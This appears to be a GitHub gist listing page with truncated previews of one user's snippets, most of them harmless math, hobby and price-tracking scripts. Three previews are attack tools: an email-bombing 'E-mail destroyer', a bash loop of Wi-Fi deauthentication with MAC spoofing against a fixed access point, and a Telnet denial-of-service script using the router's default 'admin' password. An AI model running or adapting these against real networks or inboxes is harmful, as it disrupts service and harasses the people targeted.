Skip to content

Instantly share code, notes, and snippets.

View bee-san's full-sized avatar
🌻
Tending to my plants

Autumn (Bee) bee-san

🌻
Tending to my plants
View GitHub Profile
@bee-san
bee-san / cryptomath.py
Created October 19, 2015 19:38
Cryptomath
def gcd(a, b):
# Return the GCD of a and b using Euclid's Algorithm
while a != 0:
a, b = b % a, a
return b
def findModInverse(a, m):
# Returns the modular inverse of a % m, which is
@bee-san
bee-san / sieve.py
Created October 19, 2015 19:48
Sieve of Era*
def eratosthenes(n):
all = []
prime = 1
print("1, 2,")
i = 3
while (i <= n):
if i not in all:
print(i, ",")
prime += 1
j = i
__author__ = 'rhien'
#my_boo = "answer"
# not actally used in program
# weird variable names
# You declared a variable 3 times, super inefficent and not needed
# too long, line break like this
print("This is a quiz on world War II. You will learn about WW2 and "
"then you will be quized, so make sure to pay attention!")
print("For every question answer by typing yes or no and then press enter.")
# Import smtplib for the actual sending function
import smtplib
def main():
print("/t/tWelcome to the E-mail destroyer.")
target_email = input(("Please enter the email you wish to spam: "))
infinite_or_not = input("Would you like to infinitly spam an email? YES or NO.")
if infinite_or_not.upper().startswith("Y"):
infinite_or_not = True
#!/bin/bash
while true
do
aireplay-ng -0 5 -a 90:f6:52:c1:bb:18 wlan0
ifconfig wlan0 down
macchanger -r wlan0 | grep "New MAC"
iwconfig wlan0 mode monitor
inconfig up
iwconfig wlan0 | grep Mode
@bee-san
bee-san / gist:32bbe4d1f4af30555ae3
Created December 20, 2015 23:04
Checks Amazon to see if the price of a product has changed, if it's gone lower it'll email you, if not it won't do anything.
import bs4
import requests
def main():
file = open("amazon.txt", 'r')
for i in file:
print(i)
amazon_product = i
amazon_product = amazon_product.split(" ")
print(amazon_product)
@bee-san
bee-san / Amazon.py
Created December 24, 2015 19:24
Emails you if a product on Amazon goes on sale or gets cheaper
import bs4 as bs # beautiful soup
import requests
import json # javascript object notation
import os
import sys
#TODO Use a SQL database
# auto-key |product name | price | link
#!/usr/bin/env python
import unicornhat as unicorn
import time, math, colorsys, random
print("Displaying the rainbows")
unicorn.brightness(0.3)
speed = 0.03
@bee-san
bee-san / rainbow.py
Created December 30, 2015 22:54
Rainbow.py
#!/usr/bin/env python
import unicornhat as unicorn
import time, math, colorsys, random
print("Displaying the rainbows")
unicorn.brightness(0.3)
speed = 0.03
@bee-san
bee-san / gist:a625863e3a88d07a6261
Created January 13, 2016 21:42
DOS local network using Telnet, Telnet was left to default password
from __future__ import print_function
import os
import time
import telnetlib
import argparse
# -------------- #
HOST = "192.168.1.1"
PASSWORD = "admin"